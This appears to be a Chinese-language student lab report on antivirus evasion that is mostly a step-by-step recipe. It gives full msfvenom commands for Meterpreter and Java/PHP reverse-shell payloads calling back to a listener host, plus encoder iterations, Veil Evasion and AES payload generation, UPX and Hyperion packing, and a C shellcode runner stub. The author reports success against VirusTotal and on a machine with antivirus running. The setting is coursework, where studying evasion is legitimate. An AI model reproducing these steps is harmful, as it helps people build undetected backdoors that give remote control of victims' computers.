1. 程式人生 > 其它 >Exp3-免殺原理與實踐

Exp3-免殺原理與實踐

Exp3-免殺原理與實踐

目錄

1 基礎問題回答

  • 1.1 殺軟是如何檢測出惡意程式碼的?
  • 1.2 免殺是做什麼?
  • 1.3 免殺的基本方法有哪些?
  • 1.4 開啟殺軟能絕對防止電腦中惡意程式碼嗎?

2 實驗環境

免殺測試平臺:https://www.virustotal.com/

3 實踐內容

3.1 正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案

3.1.1 檢測實驗2中生成的後門程式

3.1.2 編碼一次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=172.30.7.176 LPORT=1227 -f exe > shell1.exe

發現一個奇妙的事情,不編碼殺軟還殺不出來,一編碼大多數殺軟就殺出來了,這裡我有一個猜測,殺軟檢測的特徵碼是unicode_mixed編碼器。還有一種可能,就是編碼後恰好將原有的碼編譯成了可被殺軟檢測的特徵碼。

3.1.2 編碼10次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\x00’ LHOST=172.30.7.176 LPORT=1227 -f exe > shell10.exe


這裡就驗證了我們3.1.1的猜想,本身的反彈連線殺軟是殺不出來的,在他編碼後卻可以被殺出來,所以,殺軟檢測的特徵碼是unicode_mixed編碼器的機器碼。

  • -e選擇編碼器,-b是payload中需要去除的字元,該命令中為了使'\x00'不出現在shellcode中,因為shellcode以'\x00'為結束符,-i設定迭代次數

3.2 生成jar檔案

JAR檔案是一種歸檔檔案,以ZIP格式構建,以.jar為副檔名。

msfvenom -p java/shell_reverse_tcp  LHOST=172.30.7.176 LPORT=1227 -f jar > shell.jar




生成壓縮包檔案後檢測率明顯降低了,且有一些殺軟都無法檢測。

後續如果要自己寫免殺,且我要使用jar格式的話,直接找上圖中的防毒軟體哈哈哈哈哈哈哈

3.3 生成php檔案

msfvenom -p php/meterpreter/reverse_tcp LHOST=172.30.7.176 LPORT=1227 x> shell.php 


檢測率明顯降低了很多

3.4 veil,加殼工具

3.4.1 veil

3.4.1.1 下載(其實先下載wine32會快點)
sudo apt-get install veil-evasion
下載成功後
cd /usr/share/veil/config
vim setup.sh
將250行左右的內容修改為 sudo git clone https://gitee.com/spears/VeilDependencies.git
修改成功後
veil
等待安裝
3.4.1.2 使用
veil
use evasion     或者    use 1
use c/meterpreter/rev_tcp.py
set LHOST 172.30.7.176
set LPORT 1227
generate
輸入檔名的時候資訊量儘量全面,免得檔案多了會混淆


輸入list可以檢視各種模式

3.4.2 加殼

upx shell10.exe -o shell10_upx.exe


加密過的程式碼資訊熵太高,也會被查出來(資訊密度太大),不過相比不加殼來說還是有點效果。

3.5 使用C + shellcode程式設計

3.5.1 生成c檔案,得到機器碼

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.7.176 LPORT=1227 -f c

3.5.2 補充程式碼shell_c.c(注意縮排,vim裡調整更方便)

int main()
{
int (*func)() = (int(*)())buf;
func();
}

3.5.3 跨平臺交叉編譯

i686-w64-mingw32-g++ shell_c.c -o shell_c.exe


按照常理來說,c編譯應該是會跟直接生成exe一樣殺不出來才對,而這裡卻殺出來了,但是比編碼要強一點,我在想會不會是因為編譯平臺的原因,雖然是跨平臺交叉編譯,但是在Linux端編譯被記錄下來了,就像這個例子:一個exe檔案卻在Linux平臺編譯,有點可疑。

3.6 通過組合應用各種技術實現惡意程式碼免殺

3.6.1 c+shellcode+Hyperion

3.6.1.1 下載Hyperion2.2
wget https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip
(如果拒絕連線:1、sudo vim /etc/hosts
               2、新增一個條目 199.232.28.133 raw.githubusercontent.com)
下載Hyperion2.2

unzip Hyperion-2.2.zip

3.6.1.2修改makefile,make

vim Makefile
編譯方法改成交叉編譯i686-w64-mingw32-gcc
make


3.6.1.3 加殼

wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe

注意要在一個資料夾內,最好是在Hyperion2.2資料夾內,要不然找不到執行的程式位置

3.6.2 python+aes_encrypt

3.6.2.1 開啟veil,選擇Evasion

veil
use 1
list##尋找palyload

3.6.2.2 使用aes_encrypt_py生成後門

use python/shellcode_inject/aes_encrypt.py
generate
選擇2


這裡的原理便是使用了資料加密的方式進行多次編譯後門軟體

3.7 附加題:用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功

實驗體會與總結

在第一個此實驗第一題編碼中,發現一個奇妙的事情:不編碼殺軟還殺不出來,一編碼大多數殺軟就殺出來了,這裡我有一個猜測,殺軟檢測的特徵碼是unicode_mixed編碼器。還有一種可能,就是編碼後恰好將原有的碼編譯成了可被殺軟檢測的特徵碼。編碼十次後發現檢測率驚人相似,只減少了一個。這就驗證了我們的猜想了,就是殺的unicode_mixed的特徵碼。